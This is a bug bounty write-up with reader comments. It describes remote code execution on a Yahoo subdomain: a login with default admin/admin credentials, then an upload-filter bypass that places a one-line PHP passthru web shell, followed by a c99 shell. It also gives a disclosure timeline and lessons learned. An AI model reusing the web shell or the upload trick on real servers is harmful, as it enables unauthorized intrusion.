Hk.Yahoo.Net [RCE]

[b3hr0uz]

Before saying this isn't in the scope, please read the whole article

Hello Everyone, Recently I was analyzing an XSS vulnerability on one of Yahoo's Subdomains where I decided to also analyze the HTTP Headers. While doing so I came across the admin login page on (hk.yahoo.net), due to the fact that the search was being posted to search module from the admin panel. Well that's not the best part! Once I got to the admin page I thought to myself there's no way I will get passed this page and someone has probably tried to get pass this before... but wait!I wanna try user/password as admin/admin... cuz I'm funny and I want to try it before I look into other ways to obtain a user (like SQLi). Unfortunately I was able to login to the admin panel with an admin/admin criteria. No SQLi or anything needed! After snooping around for a few minutes, I came across and edit/insert page where I was able to create a new page and insert the needed pictures and information. Since I was able to login with the admin/admin as a login I figured the upload section will possibly allow me to bypass the upload restriction. As a part of my test I decided to create a file with the following name: Shell.php.jpg and I inserted a simple:

<?passthru($_GET[v])?>

and uploaded the file as I monitored the HTTP headers, revised those headers, replayed them, and successfully changed the file name back to shell.php Now here's where it gets interesting: (And yes, I did use a c99 shell to make everything easier!)

As you can see our UID/GID is 2 (daemon). I had read/write/execute permissions in /home which contains few more subdomains and website. Also, Linux kernel is VERY old and is a rootable. Not to mention I was able to read most DIRs and Files but NOT including /etc/shadow).

Here's the PoC video sent to Yahoo as a part of this research:

Lessons Learned:

Don't set your username and password the same.

Don't set your username and password as admin.

And have a better and restricter uploader.

Is it in the scope? We don't know yet. Should it be? Yes! Why? Because most of the hk.ent.yahoo.com files are loaded and included from the .net domain and/or redirects to it. Also there was more than just one domain I could access via this vulnerability:

Timeline:

2014-02-20 Reported

2014-02-20 Status was changed to Triaged

2014-02-21 Patched

Bounty? Nothing yet!

[akkiliON]

Nice

https://hackerone.com/reports/2127

Yahoo! rewarded b3hr0uz with a $1,276 bounty.

[loll_]

1276$ for RCE in yahoo domain, lol.

google pays more for xss (1337$) than yahoo for rce.

[tpad]

1276$ for RCE in yahoo domain, lol.

google pays more for xss (1337$) than yahoo for rce.

Hk.Yahoo.Net is not in the scope, so theoretically, there shoudn't have been a bounty issued.

[b3hr0uz]

Not in scope, correct. however, I could've still managed to do a lot of damage, steal emails, or extract information. The server was using an old 2.6.32 kernel lol, and I was already at UID/GID 2 without using any exploits!

I did complain about the bounty amount, but not much I could do about it!

@akkiliON: Thanks, man!